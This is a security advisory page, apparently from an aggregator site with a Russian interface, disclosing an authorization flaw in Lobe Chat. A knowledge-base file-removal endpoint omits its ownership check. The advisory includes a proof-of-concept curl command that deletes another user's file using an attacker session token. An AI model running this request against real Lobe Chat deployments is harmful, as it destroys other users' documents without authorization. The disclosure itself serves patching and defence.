Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-j7xp-4mg9-x28r

Опубликовано: 20 янв. 2026
Источник: github
Github: Прошло ревью
CVSS3: 3.7

Описание

Lobe Chat has IDOR in Knowledge Base File Removal that Allows Cross User File Deletion

Summary

knowledgeBase.removeFilesFromKnowledgeBase tRPC ep allows authenticated users to delete files from any knowledge base without verifying ownership.

Details

userId filter in the database query is commented out, so it's enabling attackers to delete other users' KB files if they know the knowledge base ID and file ID.

PoC

ATTACKER_TOKEN="xx" VICTIM_KB="kb_tuLBfskdDN1r" VICTIM_FILE="file_v5wCNLqSaoPp" curl -X POST "https://localhost/trpc/lambda/knowledgeBase.removeFilesFromKnowledgeBase?batch=1" -H "Content-Type: application/json" -b "__Secure-better-auth.session_token=$ATTACKER_TOKEN" -d '{"0":{"json":{"knowledgeBaseId":"'"$VICTIM_KB"'","ids":["'"$VICTIM_FILE"'"]}}}'

Response:

{"result":{"data":{"json":{"command":"DELETE","rowCount":1,"oid":null,"rows":[],"fields":[]}}}}

Impact

An attacker can delete files from any user's KB. RAG/AI functionality broken when files removed. It could cause loss of important documents, proprietary data etc.

While the vuln is confirmed, practical exploitation requires knowing target's KB ID and target's file ID. These IDs are random and not easily enumerable. However, IDs may leak through shared links, logs, referrer headers and so on. Missing authorization check is a critical security flaw regardless.

Пакеты

Наименование

@lobehub/chat

npm
Затронутые версииВерсия исправления

<= 1.143.2

Отсутствует

EPSS

Процентиль: 15%
0.00047
Низкий

3.7 Low

CVSS3

Дефекты

CWE-284

Связанные уязвимости

CVSS3: 3.7
nvd
19 дней назад

LobeChat is an open source chat application platform. Prior to version 2.0.0-next.193, `knowledgeBase.removeFilesFromKnowledgeBase` tRPC ep allows authenticated users to delete files from any knowledge base without verifying ownership. `userId` filter in the database query is commented out, so it's enabling attackers to delete other users' KB files if they know the knowledge base ID and file ID. While the vulnerability is confirmed, practical exploitation requires knowing target's KB ID and target's file ID. These IDs are random and not easily enumerable. However, IDs may leak through shared links, logs, referrer headers and so on. Missing authorization check is a critical security flaw regardless. Users should upgrade to version 2.0.0-next.193 to receive a patch.

EPSS

Процентиль: 15%
0.00047
Низкий

3.7 Low

CVSS3

Дефекты

CWE-284